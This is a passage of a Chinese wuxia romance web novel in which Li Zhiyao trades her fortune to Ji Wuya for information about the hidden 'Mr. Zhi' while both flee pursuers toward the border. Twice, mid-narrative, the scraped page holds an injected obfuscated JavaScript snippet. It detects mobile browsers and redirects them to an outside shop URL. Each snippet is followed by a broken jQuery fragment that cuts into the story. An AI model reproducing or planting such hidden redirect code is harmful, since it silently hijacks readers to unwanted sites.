裴淮知道她的忧思从何而来,握住她的手,目光恳切,“清清放心,宋大人的仇我们一定会报,只要我们回北唐,站稳脚跟,我们失去的全部都能夺回来,李之夭嚣张不了多久。” “我知道你的好意,北唐还有好多事要做,如今三皇子因为你入狱失了圣心,若是没他扶持,日后的路你该怎么走?” 裴淮说我知道的,“三哥也是想来寻我,但我这次回去还有一件事要面见父皇。” 苏月清:“可是因为你母妃一事?” 眼前的人点头,“若我想成事,必然不能缺了母亲,哪怕母妃身份再卑微,她也该榜上有名,拥有属于她的荣耀。” 杨刻推门进来,神色慌乱,他也顾不上是否坏了事,开门见山道:“主子,有官府查人了,你们先避一避。” 自从他们劫狱后,大魏的追兵一直都用,甚至刚出城不到第二天,通缉令就下来了,被追得满山跑,逃窜好些天才看到出城的眉目。 客栈里乱糟糟的,衙役和守军蜂拥上楼,推开房门,先是将房间里里外外搜了一遍,确认遗漏之后将人赶下楼全部集中在院子里站成几排。 由人拿着画像一排一排对比是不是画上的人,一次不够重复来了三次,裴淮和苏月清藏在窗户外等人走了也不敢进去,杨刻和青鸢则是站在了队伍中,劫狱的时候他们并未露脸,所以通缉的只有裴淮等三人。 待全部仔仔细细检查,就连屋顶全部排查了一遍确认没有要找的人才撤退离开。 这样的事据说近一个月来经常发生,而且时间都不固定,大大小小的客栈,就连居民宅都做大规模排查。 为此守城的将军还专门派人每日宣传不要随便收留来路不明的人,一旦通缉,就都是犯了罪的人,一个犯法乱子,能好到哪里去,所以为了自个儿小命,不能收留。 刚开始宣传效果不是太好,但在守城官员将士不辞辛劳的宣传下,终于有了起色,百姓警觉,甚至有人将之前捡到的人交了出去,要是个好的,就收回来,不好的,那就等着对方去牢里待着。 阴差阳错的用这样的办法,幕阜城的县令和主将,竟抓出了几个细作和通缉令上的人。 裴淮本打算趁着夜色跟着北唐的商队混出城,没想到幕阜镇的城门关起来,说三日后北唐使团抵达,需封锁城门三日再次排查肃清。 一个变故,让裴淮的计划又全部泡汤,而此时苏乐清收到江湖的飞鸽传书,她本气定神闲的打开,越看越咬牙切齿,直到最后转化为难以置信。 “师父留给我江湖棋子,在缘楼已折损四名,我本打算让他们杀了李之夭,然后将其的死推到缘楼头上,缘楼一破,说不定你看好的那个纪无涯会倒头过来找你寻求庇护,以他的身手不帮你有所作为实在可惜,没曾想李之夭不但没死活得好好的。” 苏月清合上窗户,今日一整天外头都是乱糟糟的,心里也跟着乱糟糟。 裴执此时正好推门进来,裴淮领他坐下添茶,“三哥怎么过来了,这几日感染风寒身子不好,有什么事找杨刻或者青鸢过来通传一声就好。” 裴执接过茶水并未喝下,冲眼前人温柔笑起来,眼底愧疚,“我来大魏能寻到你已是天赐,可惜三哥我没什么本事,让你大魏为救我以身涉险,我们落到今天的地步。” “三哥不必介怀,是我心甘情愿的。”裴淮抿了抿唇,有些不自在,他素来不习惯这样温馨场面,就算儿时他们关系甚笃,时间都过去这么久了,他独来独往惯了,面对三哥心里总有说不上来的别扭。 “我这次来是想跟你说,经此一役,大魏皇帝的信必定把我在京城的事全都告诉给了父皇,我怕免不了要受罚,失了父皇的宠爱,但你不一样,你走失多年,父皇时常记挂,若是对你发脾气忍忍就过去了,毕竟他心中还念着对你母亲的情。” 裴执咳嗽几声,面色苍白,似乎病得很严重。 裴淮面色一僵,别过头去,“父皇若真念及我母亲,就不会从我出生起就不允许宫里人谈论,更不会对我绝口不提。” 裴执用帕子拭了拭嘴,困惑抬起头,“你有所不知,父皇的寝宫里有一暗室,我幼时贪玩误闯,发现里面挂着你母亲的画像,且日日有人上香祭奠。” “若是这样三皇子当初怎么不跟璃王殿下说?”苏月清打量裴执。 “那是六弟走丢后的事情了。” “若是这样,回宫我必要先去一探究竟。”裴淮不疑有他,能得知自己生母的半点信息,足够让他欣喜若狂趋之若鹜。 * 晚上纪无涯才幽幽清醒,他刚想张嘴说话,立马被人捂住了嘴巴,借着昏暗的烛光,李之夭冲他做了个禁声的动作。 木板隔绝的头顶上传来细微的动静,有人踩在上面落下些许细碎的灰尘,李之夭从模板缝隙里往外看,在场的人大气都不敢出,李之夭忽然想到什么立马吹灭蜡烛,眼前顿时陷一片黑暗。 缝隙里投出来的光很快也没了,但脚步声还在,而那双捂着嘴的手松开落在他枕边,若有若无的戳碰到纪无涯的指尖,带起来同样轻微的触感,在黑暗里无限放大。 纪无涯循着触感来源望去,黑暗里什么都看不见,可指尖触感随注意力的转移比方才更让人在意,纪无涯只觉自己能感受到不太正常的心跳。 不知过了多久,头上的木板被敲响,李之夭燃气火折子重新点亮蜡烛,纪无涯猛地回神,掩盖住自己的心绪。 自从上次李之夭惋玩笑的撩拨后,他发现自己的心和情绪逐渐被她牵着走,这可不是个好兆头,他垂下眼帘,看着在床头除了他依旧一动不动的手之外,旁边并无其他。 仿佛方才的感觉只是他心猿意马的错觉,不知真假。 在边上的老伯卸下木板,外头的光亮照了进来,踏雪站在出口将他先拉了出去。 “我带你上去。” 不是询问,是肯定。 纪无涯搂住李之夭的纤细的腰身,将其带进怀里。 李之夭手撑着他的胸口保持一定距离,却还是能清晰的看到他乌黑浓密的睫毛,就连面上的毛孔趁着光都能看得一清二楚。 少年身上因上药,带着一股药味儿,说不上难闻,比好闻却又差点,有些让人觉得苦涩并不排斥的味道。 好像自从他体内邀月毒复发以来,总是能看到纪无涯受伤,大大小小的伤势,精准的在好了以后再次到来,拖着一副病态残躯,在江湖中漂浮。 身子被一股力量带起,耳畔传来短暂的风声,她已被带出暗室。 他们是在一家医馆里,先前上来的老头就是这里的大夫,趁他救治纪无涯的期间,踏雪守在附近,看到有人追来在搜查,大夫知晓李之夭身份,带着他们藏在暗室里,踏雪藏在外面随时盯着动静。 “主子,需不需要我去客栈通知耿掌柜他们?” 李之夭说不用了,“他们既然也开始不避讳的找我们,证明耿进才他们也遇上了麻烦,耿进才和三娘都聪明,身边还有飞鸿跟着,就算带上洛萤也出不了什么事,他们这一路都过来了,若是在一块,我们人多,目标太大很容易被发现,先躲着吧,找机会碰头。” 她看向纪无涯,“你是怎么回事,怎么伤成这样?” 纪无涯把她离开后宁缘城发生的事一五一十跟她讲了一遍,“我是许奶奶拿命救下来的,顺着河水一路被冲到下游,我知道你来了天水城便马不停蹄赶来寻你。” “纪无涯,若你想跟我走,你必须告诉我,智先生只谁。” 智先生的名字几乎脱口而出,但话到嘴边又被他咽了回去,有些话许归说得不错,缘楼牵扯到北唐,他若是杀安庆帝,这是大逆不道的事,能不把人牵扯进来尽量不牵扯。 他跟李之夭之间还是得尽早划清界限的。 李之夭本以为他会说出口,还是低估了纪无涯,又憋了回去。 看着他打算什么事都往自己肚子咽下去的做派,受了伤还是不断折腾自己,压根不把自己的命当一回事,她几次三番救他,就是信了他当时说自己惜命的话,可现在摆在眼前的种种,又表明哪怕他是重生一次人,还是没把自己的命当做一回事。 或是说,她李之夭在他纪无涯的眼里,比不上裴淮让他真心对待,无怨无悔的追随? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14465556|142084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心中无名火蹭蹭往上冒,都顾不上在场是否有外人的环境,下意识扬手,清脆的巴掌声传来,震得她掌心有些疼。 她的手还扬在半空中,纪无涯的脸偏向另一边,额前的碎发挡住他的眉眼,在场的气氛瞬间僵持。 踏雪见状赶忙拉着大夫去后面煎药,把地盘空出来给他们说话。 “你明知道他是谁对我有多重要,从前你不说,是我们立场身份不一样,维持你杀手一诺千金的体面义气,不说我理解,但现在我们一起经历这么多,同生共死过,难不成我们一起经历的还不值得你信任?如今你被缘楼除名,纪无涯被通缉早在江湖传得沸沸扬扬,还是说,我始终比不上从前你死心塌地追随的璃王殿下,他是真命天子,封先箴言中一统天下的强者,一直不管不顾利用你的人,始终哪里好!” “不是的。” 他挨了李之夭的一巴掌,听她把话说完,把怒火发泄出来,甚至觉得这样决裂挺好,至少他不在惧怕有哪天会对她动心,他时日无多,等着他要去做的事还有很多。 要去安顿好雪,带她去找家人,要去北唐手刃灭族仇人报仇,万一从宫里回不来,那里就是他最后的归宿。 至于下月集救命,他从未奢望过,下卷在大魏宫里,上卷都是今生第一次听说,他体内邀月毒随着他运功会越来越深,虽有封先内力续着,但不是长久之计。 侥幸活着出来,上卷在何方都不可知,他有多少时间去找。 还要去白溪镇寻回爹娘尸骨,他孤身一人在世间,就不该再有牵挂,若是他心中生出万分牵挂,让李之夭作为他的东家,又怎么忍心日后牵扯加深,牵肠挂肚。 他走了一了百了,对留下的人不公平。 但听到李之夭问他是不是觉得裴淮比她好的时候,他下意识反驳出来,话说出来,他只能再重复一遍,“不是的,我没觉得裴淮比你好。” 智先生这号人物并未在书中出现过,李之夭和纪无涯之间在书里毫无交集,如今事态变故走向难以预料,她不是没找人去查过,但偌大的京城和江湖中,就没人见过智先生的真实面目,只闻其声不见其人。 关于他的痕迹一点都没有,在京城里消失得无影无踪,此人藏匿在大臣中,智先生是她此生唯一不可预料的变数。 所以她必须知道对方的真实面目。 李之夭揪住他的衣襟,将其拉近迫使纪无涯的眼睛看着自己,两人的距离很近,都能感到对方的鼻息。 烛火荡漾,李之夭头上的珠钗随着她的动作发出清脆的碰撞。 “或者你告诉我,这份情报,你想要多少钱。” 纪无涯不自觉放缓了呼吸,两人眼神彼此赤裸裸的对视,“我要你的全部。” 李之夭猛地松开手,纪无涯站直身子,怕对方觉得自己在开玩笑,而是从怀里取出一块断的玉佩拿在手中,“这是智先生的物件,我虽不能直接告诉你,但按照公主你的手段,想查出来并不难,你的全部财产,我都要。” “你可知我名下财产多少,你张口就敢要。”李之夭目光紧盯玉佩,对方只给看一眼便收起来握在掌心里。 对方诚实回答说不知,“但总之不会是亏本的买卖。” 李之夭轻笑出声,纪无涯把断玉收起来,“宿宁公主好好考虑一下,智先生当年来到京城的时候,便把自己全部痕迹抹去,他做事向来缜密,你查了这么久都没查到,跟他有关的线索,你想知道,我是唯一的人选,一天的时间考虑。” 他将一枚骨哨放在桌子上,同时还有些付药钱的碎银,转身就走,“你想好了,用这个找我,我听得到,接下来的路,我就不跟你们一道了。” 骨哨精致,用一股红线拴起来,李之夭将其收起来,颓废地坐在椅子上,大夫和踏雪端着药恰到好处的走出来,大夫还故意望了望,“伤者怎么走了?刚熬好的药。” “他嫌自己命大,管不着。”李之夭端起药赌气般的一饮而尽,舌尖发苦,不过比之前喝的差太远了。 伤者不在了,李之夭她们身上又没伤,也不愿再继续待下去,以免后面再带来麻烦。 趁夜色也起身告辞。 她们走在小巷中,如今她需要找耿进才他们商量一下铺子的事。 “你可有办法寻到飞鸿?” 踏雪点头,“主子你在这里等我,我去去就回。” 踏雪取出纱巾遮面,走到桥头,从桥边弹胡琴的妇人手里,给了她一些银子,“我家少爷想听过秦淮,会奏不?” 一曲过秦淮,婉转动听充满向往,令人如痴如醉,全场很快便寂静下来,曲停下来,踏雪注意到飞鸿的身影,又给了妇人一些赏钱。 “我家公子很满意,再奏一曲拿手的。” 乐声再度响起,踏雪退出人群,跟飞鸿回合,见过李之夭后,由飞鸿领路,去到一处乞丐窝,见到耿进才和金三娘,还有醒过来的神色崩溃的洛萤。 90. 心事 第90章 “你们把我带到哪来了!” 四周破破烂烂的,地上堆着麦秸,时不时能闻到馊臭味传来,角落老鼠吱吱乱叫,破旧残窗外明月高悬,她来到天水城的时候商有知觉,后来她察觉出耿进才等人是在躲避追兵,最后落脚在乞丐窝里,一直没有动静,不知不觉竟然睡过去了,再醒来还在乞丐窝里她心才放下来。 小二挡在她跟前,满脸气愤,洛萤缩了缩脖子,这人看上去年纪小,脾气到挺大,生怕自己说一句话对方就能给自己一巴掌。 有人从他身后走出来,是为姑娘,看清长相后她瞳孔微缩,迅速垂下头,换上一副泫然欲泣的模样,“你们不问青红皂白把我抓来到底想干什么?” 李之夭蹲下跟她平视,将手里的荷包给洛萤看,荷包绣工精巧,只是其中一角破了个小口子,线头上沾着些许香粉,“你在我面前别跟我装柔弱,你用的套路都是我在宫里玩腻了的,这是从你身上找出来的。” 洛萤顿时收起眼泪,换上旁的气势,“你想怎么样?” “一路你用香粉给身后的追兵引路,真是好计谋,什么时候弄的我在宁缘城的时候竟没察觉,得亏他们存了心眼,立马从客栈溜走,不然真让你得逞了。” “是你先让人把我抓走在先,不是公主你应该给我个交代么?” 李之夭等人目光对视一番,“知道我的身份,就不算白抓,我也不需要给你交代。” 洛萤见这条路行不通,便想了其他的路,嚷嚷起来,“纪无涯呢,我要见纪无涯!” 一开始以为李之夭是义父消息里的柔弱无害的小白花,现在一看,哪里是小白花,分明是朵黑心莲,哪里上去柔弱无害了。 听到纪无涯的名字,李之夭更心烦了,“你找他作甚?” “当然是嫁他啊,不然我为何千里迢迢来宁缘城,不就是求求跟他的姻缘。”洛萤笑起来,若不是知道她不坏好意,还真被她骗了,“你跟纪无涯关系好吧,你是公主你可以帮我。” 李之夭气极反笑,说话也不客气,“帮你什么?你心里既然惦念着寻方,如今人走茶凉,你打起他师弟的主意,难不成要我干些缺德事,帮你把瓜强扭下来试试?” 说完摆摆手,一副不想再跟她废话的样子。 踏雪一记手刀劈在洛萤身后,将人打晕过去。 没了碍事的人,李之夭跟耿进才和金三娘他们简单说了自己这些天在天水城的事,还有知道智先生下落的线索,以及纪无涯的条件,“他是不会骗人,消息确实可靠,我想问你们怎么想的。” 耿进才和金三娘互相对视,他们知道银来庄是李之夭在大魏蛰伏打拼下来的结果,如今要拱手送人,着实有些不妥,李之夭以为他们是在担心往后的去处,“若是担心去处,我在江南还有处庄子,你们可以到那里去,你们一直在外帮我打理铺子,我不会不管你们的。” 金三娘握住她的手摇头,“不是担心我们去处的问题,而是主子,这些东西是你这些年积攒下来的全部基业,当真要这样拱手送人?” 李之夭沉默不出声,眼底纠结,纪无涯要的着实很多,但好不容易能摸到点智先生的尾巴,又不甘心放弃,耿进才主动把银来庄掌柜的令牌呈递上去,“给他吧,只要智先生一死,主子日后便没了后顾之忧,藏在京城的大祸害,早日铲除,铺子没了,相信以后主子还能东山再起,她不是能搬出宫了么。” 飞鸿道:“就不能把他捆了,把东西抢过来么?” 踏雪也说是啊,“他现在受伤,不是我们的对手,他不仁,把他绑了把东西抢过来。” 李之夭说不行,“在缘楼的时候封先将他的全部内力传给了纪无涯,我虽不知江湖,但我能感觉出来此人武功高强,内力淳厚,现在纪无涯的武功比从前更甚,就算受伤,你们恐怕也很难对其下手。” 飞鸿沉默下来,踏雪心中懊恼,当即谢罪,“主子,是我等学术不精了。” “这和你们无关,若你们有此机缘,也不会输他。”李之夭不在意的摆手解释,接着同耿进才他们商量后面的事。 飞鸿转身往外走,踏雪叫住他,“你要去作甚?” “阿姐,我去附近帮你们守着。” 最后商议下来的结果就是李之夭把全部财产给纪无涯换智先生的情报,金三娘拗不过他们也松了口,不管什么,主子开心最重要,仇人近在咫尺,不能错过这次机会。 以前钱多,他们不觉有何,等后面钱财易主,什么都没了,想想只觉一阵恍惚,仿佛跟做梦一样。 李之夭决定甩掉追兵就带他们去江南的庄子上,让耿进才和金三娘安排一下铺子里愿意跟着的人手,日后她决定再做生意,还选这些人过去帮忙。 小二察觉气氛有些沉闷,一直在试图缓和气氛,耿进才干巴巴地笑着,最后金三娘锤了他肩膀一下,“愁眉苦脸作甚,你要庆幸我们现在还有心里准备,万一哪天皇上知道我们跟主子的关系,一道圣旨下来全拿走了那时候才是真的该哭。” 耿进才捂着发疼的肩膀说是,最后不满的瞪她,“你说归说,打我作甚。” “同意的是你,现在你还摆着张脸,主子都被你惹得愁眉不展,该打。” 说着齐齐朝托腮愣神的李之夭望去,她望着窗外的圆月,眉头紧皱,时不时唉声叹气,或许就连她都没察觉出来。 剩下四人默默闭上了嘴巴,互相望来望去,最后选出踏雪让她跟李之夭说话,踏雪只好硬着头皮转达他们的想法,“主子,若是不舍,还是不要了,我和飞鸿跟纪无涯拼个鱼死网破,一定帮你把断玉拿回来。” 李之夭说不是,“我想的不是这个,我既然能做出第一个银来庄,日后也能有第二个,第三个,只是时间问题,我想的不是这些。” 金三娘往跟前凑了凑,“那是为何?” “我是在想,每当我总感觉我跟纪无涯关系进一步的时候,突然又会拉得好远,从前我出钱,他收钱,合作倒也挺愉快的,现在跟钱没关系,扯到人情,就是比明账难算啊,人拿捏不住,账算不清,人也就强求不来了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14473364|142084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李之夭开始感慨,以往一起出生入死,在江湖里这样的生死交两人早就好到能穿同一条裤子了,偏偏到了她和纪无涯这里,连个朋友都不知道算不算。 说完又重重叹了口气,开始出神。 金三娘默默退回去缩在耿进才旁边,耿进才压低声音:“你回来干什么?这种时候不应该开导开导么?” “开导什么,这种事我开导什么。” “怎么就不能开导了,你说些鼓励振奋人心的话,安慰安慰,实在不行骂几句纪无涯也行。” 金三娘白了他一眼,“你不懂,解铃还须系铃人,人家两个人的事,咱们插手真不一定能帮上忙,我看纪无涯也不是那种见钱眼开,这么大胃口的人,等着慢慢看吧,现在我突然觉得,把名下财产全部交出去不一定是坏事,万一皇帝想查,还真查不到我们和主子头上。” * 天水城的夜晚虽比不上京城繁华,晚上出来的人三三两两的,倒是酒肆乐坊这些地方人来往得比较多。 纪无涯坐在酒肆的楼顶上,一条腿伸直,一只手搭在另一条弯曲的腿的膝盖上,手里拿着个酒葫芦,徐徐的风里弥漫一股酒的香味。 软剑靠在旁边,他注视着前方的月亮,直到有道影子落在旁边,他并未回头,仿佛已经知道来的人是谁。 “一手交钱,一手交货,考虑好了再来找我。” 长剑出鞘,银白的剑身瞬间抵在了纪无涯的脖子上,略显青涩的声音传来,“把断玉给我。” “不想交钱打算明抢了?” 纪无涯说着小酌了一口酒,“今天的月亮真圆,我很久没见过这样的月亮了。” 长剑又逼近几分,“你给不给?” “不给。” 纪无涯躲开长剑的攻击,瞬间同来人拉开了距离,他站在屋檐角上,高处风声凛凛,吹着他们二人的衣摆,他目光深深望向挥剑之人,“是李之夭让你来的?” “不是。” “我猜也不是。” 飞鸿再次朝他攻来,这次剑锋比上次更为凛冽,铆足了劲想跟他一较高下,这一战,飞鸿也是带了私心在里面。 一来他想帮主子解忧,二来他想知道,在江湖里鼎鼎大名的纪无涯手下,他究竟是何水平,对方究竟是何水平。 所有人都说他强,可他从未见过纪无涯强在哪里,哪怕在骊山的时候,纪无涯以一敌二最后还是他出手助其解困,才能逃脱。 飞鸿看不明白,他究竟有何能力。 当初他还在训练营的时候,就听到关于纪无涯的传说,说他轻功举世无双,说他暗器防不胜防,说他少年英才,一招便能取敌方首级,说他是难得的练武奇才,若未来他行走江湖,必能在江湖史书上留下浓墨重彩的一笔。 他虽未入江湖,可接触的世间,处处都是关于纪无涯的传说。 纪无涯从飞鸿的剑招里察觉出他的心事,飞身落在他的软剑旁,提起握在手中直指飞鸿面门。 “只要你能打赢我,断玉就给你。” 91. 赶路(补更+更新) 第92章 柳叶在半空中被风卷得慢悠悠地忽上忽下,奔向皎皎明月光,阑珊灯影,夜幕无边,柳叶飘向寂静场景,从对峙的两人中间堕落,耳畔卷起的风声呜呜地吹。 飞鸿眼神猛地一狠,拔剑迅速,快如闪电,身体宛如离弦的剑迸发出去,直逼纪无涯面门,他提剑挡下对方的攻势,顺势侧身躲开,两人长剑纠缠,碰撞声此起彼伏。 两剑你来我往,你攻我守,形式相互转换,纪无涯侧翻躲落地,露出破绽,飞鸿看准时机,蹲下旋身伸腿横扫,没曾想正中对方下怀,纪无涯原地起跳,在半空中后空翻,然后手中长剑一出,直直逼向还在原地的飞鸿面门。 并未料到对方会如此不按常理行迹,往常二人虽攻守往来,大多数都是纪无涯被迫还手,攻击的主动权一直掌握在他手里,可以说都是按照他设想的方向走。 长剑尽在咫尺,他本能挥剑拦下,但纪无涯却在此时再度空翻躲去,长剑脱手,身形极快,几乎是在长剑滞空的瞬间人已到剑柄的位置,反手握住剑柄,击中飞鸿的肩膀。 飞鸿因为刺空,加上身子还挨了一下,往后退了几步,这一退竟然到了屋顶的边缘,他半只脚悬空,身子往后仰去,恰在此时,纪无涯伸手拽住他的手腕,但并未拉他上来,而是横剑直指飞鸿眉心。 万籁俱静,虫鸣声都没了。 “哪些天杀的在我屋顶打架!”酒肆院子里传来暴躁如雷的怒骂声,“把我的瓦片炫下来好几块,最顶层的客人全被赶跑了,这损失你们谁来还!” 骂道最后,对方重重嗯了一声,音调上扬,满腹质疑。 纪无涯松手,飞鸿顿时站不稳直直从上面摔了下来,落在院子里遮风挡雨的油布上,支撑油布的架子成不住飞鸿的重量,四角撕裂,他栽进了堪比围墙高的稻草堆上。 吓得酒肆掌柜往后一跳,待飞鸿挣扎着从深陷的稻草堆里起来,头发凌乱,还挂着几根稻草,正好迎上掌柜怒不可遏的模样,他抱歉又尴尬的笑了笑,抬头想找纪无涯酸胀,只瞥见对方伸出来的手随意晃了晃便不见了。 “好啊,就是你小子,把我顶楼的客人全吓跑了,你干脆掀了我的屋顶得了,这些损失,全部都有你来赔!” 掌柜从旁边的梯子上蹭蹭爬上去,“你给我下来!” 飞鸿翻身落地,掌柜又手脚并用的蹭蹭从梯子上下来,命人拿来算盘,拽着飞鸿的手坐在院子的石凳上,手指飞快拨算盘,清算今晚的损失。 “一片瓦砖一两银子。” 飞鸿急忙打断,“一片瓦一两银子你怎么不去抢钱啊。” 掌柜瞪着他,“你把我的瓦打碎了,除了瓦的本钱,还有他的安抚费,有意见么?” “你这也太黑了,一片瓦哪来的安抚费,再安抚不都进了你的口袋。” “你提醒我,这些青瓦都是酒肆建立时就存在了,跟了我二十多年这里的一草一木一砖一瓦跟我全都有感情的,如今青瓦碎了,你还得赔偿我的情感损失费,所以一片瓦二两银子。” 飞鸿睁大双眼,早知道就不说了,现在他也不敢再说话了,万一对方想东想西,又提醒他冒出什么念头来,再多讹上自己一笔。 算盘打得啪啪响,“瓦数了数一共损失五十片,顶楼房间为贵客房,他们平日喜欢的都是上上品,一间房按照一百两来算,一共有十间房,油布五两银子一匹,人工费三十五两,加上我的心理补偿费五百两,你需要给我一千六百四十两。” 飞鸿两眼一黑,他一时半会儿怎么可能拿出这么多银子。 掌柜见他的反应,顿时明白他拿不出这么多钱,让家丁上前把他摁起来,“拿不出钱,你就留在这里端茶倒水洗碗刷茅坑,什么时候把钱还了什么时候再放你走!” 他们都是一群不会武功的普通人,飞鸿只得认命说道:“我拿不出钱,但麻烦掌柜去城西的毁了的城隍庙里找一下我阿姐,我大多数钱全在阿姐手里。” 掌柜派去跑腿的小厮一路来到飞鸿所说的城隍庙,此时踏雪正因找不到飞鸿心里一阵担忧,她怀疑飞鸿是自己跑去找纪无涯去了。 李之夭安慰道:“没事,纪无涯不会伤他,期待个好的,万一他能把断玉拿回来呢。” 金三娘从外头走进来,看向踏雪,说话前忍不住叹了口气,“外头来人了,说飞鸿破坏了他家酒肆的生意,欠下一千六百四十两,需要你交钱赎人。” 踏雪怔了怔,“多少?” “得,这下等来个晴天霹雳。”李之夭起身,“我们也一块去吧,人既然找到这里了,我们就不能在这里继续待下去了,正好去找纪无涯。” 飞鸿见到亲姐姐的时候瞬间低下了头,踏雪一人进门交钱赎人,出去的时候飞鸿刚想道歉,就被踏雪先一步揍了一顿。 李之夭藏在暗处吹响纪无涯给她的骨哨,不一会儿,人就出现在她身后。 两人身处暗巷中,金三娘和耿进才守在巷头和巷尾帮忙把守,纪无涯斜斜靠在墙壁上,目光清冷疏离,“想好了?” “你的要求我答应你,我名下铺子众多,我会全部折成现银给你,你放心绝对不少,折出来价格会是所有商铺的价格,所有银来庄的东家名字我会让人改成你的,银来庄好歹是大魏第一钱庄,若是折成银子不妥。” 纪无涯点头,“两天,我只给你两天的时间,让你手底下的人去干,你跟我走一趟。” 他抓住李之夭的手腕,李之夭挣扎了几下发现对方拉得很是用力,干脆放弃了。 “你要我跟你去干什么?” “去幕阜城。”他拉着李之夭的手腕,到金三娘身后,“你们只有两天的时间,银子全部兑换成银票,到时候带着跟银来庄有关的契约,来幕阜城找我。” 金三娘犹豫地看向李之夭,她点头,“你们快去吧。” “洛萤咋办?” 李之夭看了看纪无涯,“到时候你们一起送来幕阜城。” 放人是不可能放人的,放走了等着她想些鬼主意来坑自己,要把一切扼杀在摇篮里。 最后带着洛萤去北唐也不是不行,她想嫁纪无涯,又想谋害自己,一个人能同时给两个人添堵,生平第一次见。 幕阜城是大魏的边城,连同着北唐,李之夭忽然猜到纪无涯的目的是去北唐,要这么多的钱财说不定是敲开北唐皇宫的投名状。 金三娘他们走后,纪无涯垂眸望她,将人拉近了些距离,奈何对方戴着幕离,根本看不清对方的眼睛,他伸手摘掉李之夭的幕离,“碍眼。” 李之夭迈腿径直朝大路上走去,他们一前一后大摇大摆的走在大道上,李之夭心里直打鼓,明显有赌气的成分在里面。 明知杀手正四处追捕搜查她,现在这么出去,不就等于告诉他们说,我人就在这里,你们快来杀我呀。 她跟着走了几步,抬腿就往前跑,纪无涯并没立刻去追她,而是看向藏在暗处的杀手。 他假装不经意的挪开视线,才慢悠悠去追李之夭,杀手分成两批,一批去找李之夭,一批跟着纪无涯。 纪无涯故意引他们朝人少的地方走,并不跟他们打,而是趁机甩掉杀手去别的地方。 他捂着受伤的后腰,原本处理好的伤口,今晚跟飞鸿打一架后又开始流血,身上好几处口子都是这样,杀手众多,他若是打起来怕出乱子。 李之夭一路跑出天水城,身后杀手穷追不舍,身后传来一阵踏踏马蹄声,朝她奔来,随后她被人拦腰抱起,大脑瞬间空白,回神的时候落进一个怀抱里。 纪无涯策马奔驰,把杀手甩远,她抿唇不说话,直到天明的时候,马行驶的速度慢了下来,最后纪无涯从马背上滚了下去。 李之夭惊呼一声,爬下马背还摔了一跤,顾不上摔了哪里,而是去查看纪无涯,他面色苍白,嘴唇毫无血色,呼吸微弱。 他们现在正在一处戈壁中,周围黄沙土壤,草木凋零,唯有蔚蓝天际雄鹰盘旋长鸣。 为了躲避追杀,纪无涯带她走的是一条人迹罕至的道路,李之夭看了看四周,又瞧了瞧纪无涯血流不止的身子,气不打一处来。 “明明受了重伤,非要胡来。” 似乎是听到李之夭的声音,纪无涯艰难睁眼,眸子却有些笑意,李之夭没好气道:“快死了你倒是能笑出来。” 他眯了眯眼睛,“小孩子,心中有些不服气在所难免的,你倒是精力好,还骂人。” “你告诉我这路怎么走?” 纪无涯有气无力道:“先前我给你的骨哨,吹两声,随后一直往南走,五十里的地方有间驿站,那里有名大夫帮我疗伤。” 他说完两眼一闭晕了过去。 李之夭拍了拍他的脸,声音急切的想将其唤醒,奈何不管怎么呼唤纪无涯始终没有一点反应,她拿出骨哨吹了两声,惊起发现旁边的马匹竟然走到她身边,四肢弯曲跪在地上。 李之夭费了一番功夫把纪无涯拖上马背,她坐在后面,又吹了两声,马站起来,她握着缰绳,朝纪无涯说的南方赶去。 第一次骑马还带人,李之夭只感觉整个人都快掉下去了,不光她摇摇欲坠,就连昏迷不醒的纪无涯也摇摇欲坠。 骑到最后,李之夭自己学会了骑马,速度更快了许多,花了一个时辰终于赶到纪无涯说的驿站。 驿站的大夫空闲,立马帮纪无涯重新缝合伤口上药,纪无涯的情况逐渐稳定下来。 临近下午,纪无涯醒来后吃了点东西便要继续赶路。 李之夭本打算让他在这里歇息一晚,若是十万火急,总得把身子养好。 纪无涯没将软件缠回腰间,而是将其放在剑鞘里,手虚扶在门框上,回眸深深,“李之夭,我怕时间来不及了,两日后幕阜城关口会重新开放,一个时辰后又会再次关闭,我必须在那时候去往北唐。” 越往南走,草木越多,直至深夜,他们在郊外的农舍前停下,李之夭正好奇往里张望,大门打开了。 雪笑盈盈地站在门口,“十三师兄!” 纪无涯应了一声,雪发现李之夭,又朝他们身后看了看,“寻方呢?” 农舍的主人是一对中年夫妻,他们闻声出来,见是当日托付人的郎君,身边还有客人来,热情请他们进去。 路过雪的时候,她抓住纪无涯的衣摆,眉头紧皱,“师兄,你身上有血腥味,你受伤了。” 纪无涯说是,“先进屋。” 夫妻两去厨房做饭,把说话的时间留给他们,李之夭帮他添了碗茶,这毕竟是他们自己的事,纪无涯不说,她也不会出声。 雪在纪无涯不同以往的沉默里看出了几分蹊跷,不死心继续追问:“十三师兄,寻方呢?” “他死了。” 雪怔在原地,这些日子,她乖乖听话留在这里等他们回来,每天都在念叨着见到十三师兄,一定要跟他告状,说寻方怎么压迫她,让她每天跟着婶子去喂猪,上山挖野菜,下地除草,他自己帮忙做饭还搞砸好多,险些把人厨房给炸了。 去田里干活,她总是能见寻方睡大觉,问他就说休息休息。 他离开的时候,承诺过会把十三师兄回来,现在是什么,他自己就不回来了? 雪眼泪忽然顺着眼角掉下来。 她虽然黏十三师兄,但跟她相处时间最长的还是寻方,不管在缘楼还是外面,十三师兄行踪不定,她只能跟着寻方到处走。 